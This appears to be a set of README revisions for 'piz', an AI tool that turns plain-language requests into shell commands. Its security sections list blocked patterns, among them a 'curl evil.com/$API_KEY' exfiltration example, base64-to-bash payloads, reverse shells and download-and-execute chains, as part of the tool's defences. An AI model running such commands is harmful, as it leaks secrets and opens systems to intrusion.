\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n \n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en/ja).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en/ja) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (158)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n"}, "6b16a887632b9a56eb510c5a82d399832cc575f5": {"t": 1785760786.3756788, "n": 10353, "h": "11b48769777d05b6", "c": "piz
\n\n\n Intelligent terminal command assistant
\n Translate natural language to shell commands with AI\n
\n\n\n
\n
\n
\n
\n\n\n English |\n 简体中文\n
\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`\n- **Local Cache** - SQLite cache with TTL, repeated queries return instantly\n- **Multi-Language UI** - Chinese, English, Japanese interface\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English / 日本語\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n ➜ sudo npm install\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz clear-cache # Clear all cached commands\npiz config --init # Re-run setup wizard\npiz --version # Show version\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n\nClick to expand all 12 providers
\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n \n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en / ja\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n\nDeepSeek
\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n \n\n\nSiliconFlow
\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n \n\n\nGoogle Gemini
\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n \n\n\nOpenRouter
\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n \n\n\nMoonshot / Kimi
\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n \n\n\nZhipu / GLM
\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n \n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n\nMatched commands are **blocked** and cannot be executed.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, refusal detection\n│ ├── cli.rs # clap argument definitions\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd)\n│ ├── i18n.rs # Multi-language translations (zh/en/ja)\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory\n│ │ ├── prompt.rs # Prompt templates with security rules and few-shot examples\n│ │ ├── openai.rs # OpenAI-compatible adapter\n│ │ ├── claude.rs # Claude adapter\n│ │ ├── gemini.rs # Google Gemini adapter\n│ │ └── ollama.rs # Ollama adapter\n│ ├── cache.rs # SQLite cache with SHA256 keys + TTL\n│ ├── danger.rs # Regex danger detection + injection scanner\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode\n│ ├── history.rs # Shell history reader\n│ └── ui.rs # Terminal output formatting\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (120)\ncargo install --path . # Install to PATH\n```\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n"}, "bb7400e3a0f0b6d96db340c295f84aa386015c94": {"t": 1785760787.6785493, "n": 7130, "h": "67db295e1e6c8e75", "c": "piz
\n\n\n Intelligent terminal command assistant
\n Translate natural language to shell commands with AI\n
\n\n\n
\n
\n
\n
\n\n\n English |\n 简体中文\n
\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Ollama, or any OpenAI-compatible API (DeepSeek, SiliconFlow, Moonshot, etc.)\n- **Danger Detection** - Dual-layer protection: regex patterns + LLM classification. Dangerous commands require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`\n- **Local Cache** - SQLite cache with TTL, repeated queries return instantly\n- **Multi-Language UI** - Chinese, English, Japanese interface\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh)\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English / 日本語\n? Select default LLM backend: openai (DeepSeek, Moonshot, SiliconFlow, ...)\n? Select API provider: SiliconFlow (api.siliconflow.cn)\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n ➜ sudo npm install\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --no-cache show memory # Skip cache\npiz clear-cache # Clear all cached commands\npiz config --init # Re-run setup wizard\npiz --version # Show version\n```\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en / ja\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\" # Custom for third-party APIs\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n# base_url = \"https://api.anthropic.com\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Third-Party API Examples\n\n\nDeepSeek
\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n \n\n\nSiliconFlow
\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n \n\n\nMoonshot
\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n \n\n## Danger Detection\n\npiz uses dual-layer danger detection to protect you:\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\nRegex-based detection runs locally (no LLM needed) and catches patterns like `rm -rf /`, `mkfs`, `dd of=/dev/`, `FORMAT C:`, `DROP TABLE`, etc.\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing\n│ ├── cli.rs # clap argument definitions\n│ ├── config.rs # TOML config + interactive setup wizard\n│ ├── context.rs # System context collection (OS, shell, cwd)\n│ ├── i18n.rs # Multi-language translations (zh/en/ja)\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory\n│ │ ├── prompt.rs # System prompt templates\n│ │ ├── openai.rs # OpenAI-compatible adapter\n│ │ ├── claude.rs # Claude adapter\n│ │ └── ollama.rs # Ollama adapter\n│ ├── cache.rs # SQLite cache with SHA256 keys + TTL\n│ ├── danger.rs # Regex-based danger detection\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode\n│ ├── history.rs # Shell history reader\n│ └── ui.rs # Terminal output formatting\n└── tests/\n └── integration.rs # Integration tests\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\n# Build\ncargo build --release\n\n# Run tests\ncargo test\n\n# Install to PATH\ncargo install --path .\n```\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n"}, "2f08bf81f9976305605e408ad08ef8c717583081": {"t": 1785760788.9860146, "n": 6748, "h": "dc2838e01351ba73", "c": "piz
\n\n\n Intelligent terminal command assistant
\n Translate natural language to shell commands with AI\n
\n\n\n
\n
\n
\n
\n\n\n English |\n 简体中文\n
\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Ollama, or any OpenAI-compatible API (DeepSeek, SiliconFlow, Moonshot, etc.)\n- **Danger Detection** - Dual-layer protection: regex patterns + LLM classification. Dangerous commands require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`\n- **Local Cache** - SQLite cache with TTL, repeated queries return instantly\n- **Multi-Language UI** - Chinese, English, Japanese interface\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh)\n\n## Quick Start\n\n### Install\n\n**From source (requires Rust toolchain):**\n\n```bash\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\ncargo build --release\n# Binary at: target/release/piz (or piz.exe on Windows)\n```\n\n**From releases:**\n\nDownload the latest binary from [Releases](https://github.com/AriesOxO/piz/releases).\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English / 日本語\n? Select default LLM backend: openai (DeepSeek, Moonshot, SiliconFlow, ...)\n? Select API provider: SiliconFlow (api.siliconflow.cn)\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n ➜ sudo npm install\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --no-cache show memory # Skip cache\npiz clear-cache # Clear all cached commands\npiz config --init # Re-run setup wizard\npiz --version # Show version\n```\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en / ja\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\" # Custom for third-party APIs\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n# base_url = \"https://api.anthropic.com\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Third-Party API Examples\n\n\nDeepSeek
\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n \n\n\nSiliconFlow
\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n \n\n\nMoonshot
\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n \n\n## Danger Detection\n\npiz uses dual-layer danger detection to protect you:\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\nRegex-based detection runs locally (no LLM needed) and catches patterns like `rm -rf /`, `mkfs`, `dd of=/dev/`, `FORMAT C:`, `DROP TABLE`, etc.\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing\n│ ├── cli.rs # clap argument definitions\n│ ├── config.rs # TOML config + interactive setup wizard\n│ ├── context.rs # System context collection (OS, shell, cwd)\n│ ├── i18n.rs # Multi-language translations (zh/en/ja)\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory\n│ │ ├── prompt.rs # System prompt templates\n│ │ ├── openai.rs # OpenAI-compatible adapter\n│ │ ├── claude.rs # Claude adapter\n│ │ └── ollama.rs # Ollama adapter\n│ ├── cache.rs # SQLite cache with SHA256 keys + TTL\n│ ├── danger.rs # Regex-based danger detection\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode\n│ ├── history.rs # Shell history reader\n│ └── ui.rs # Terminal output formatting\n└── tests/\n └── integration.rs # Integration tests\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\n# Build\ncargo build --release\n\n# Run tests\ncargo test\n\n# Install to PATH\ncargo install --path .\n```\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n"}}, "README_EN.md": {"9f6d61b742783293d95b348ac1408254df447b0e": {"t": 1785674083.408642, "n": 18283, "h": "9b9dd13c60a311fc", "c": "piz
\n\n\n Intelligent terminal command assistant
\n Translate natural language to shell commands with AI\n
\n\n\n
\n
\n
\n
\n\n\n English |\n 简体中文\n
\n\n---\n\n\n
\n
\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit [r] Regenerate\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Regenerate** - Not happy with the result? Press `[r]` to skip cache and re-query the LLM\n- **Local Cache** - SQLite cache with TTL + LRU eviction, model isolation (switching models auto-invalidates old cache), repeated queries return instantly\n- **Command Validation** - Auto-sanitizes LLM output artifacts (leading garbage chars), blocks empty/no-op commands, improves compatibility with smaller models\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init ` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell), with built-in aliases (`p`, `pf`, `pc`)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**Homebrew (macOS / Linux):**\n\n```bash\nbrew install AriesOxO/tap/piz\n```\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries or `.msi` (Windows) from [Releases](https://github.com/AriesOxO/piz/releases). Linux binaries are statically linked (musl), compatible with any Linux distribution.\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 (static musl) | `.tar.gz` |\n| Linux ARM64 (static musl) | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size 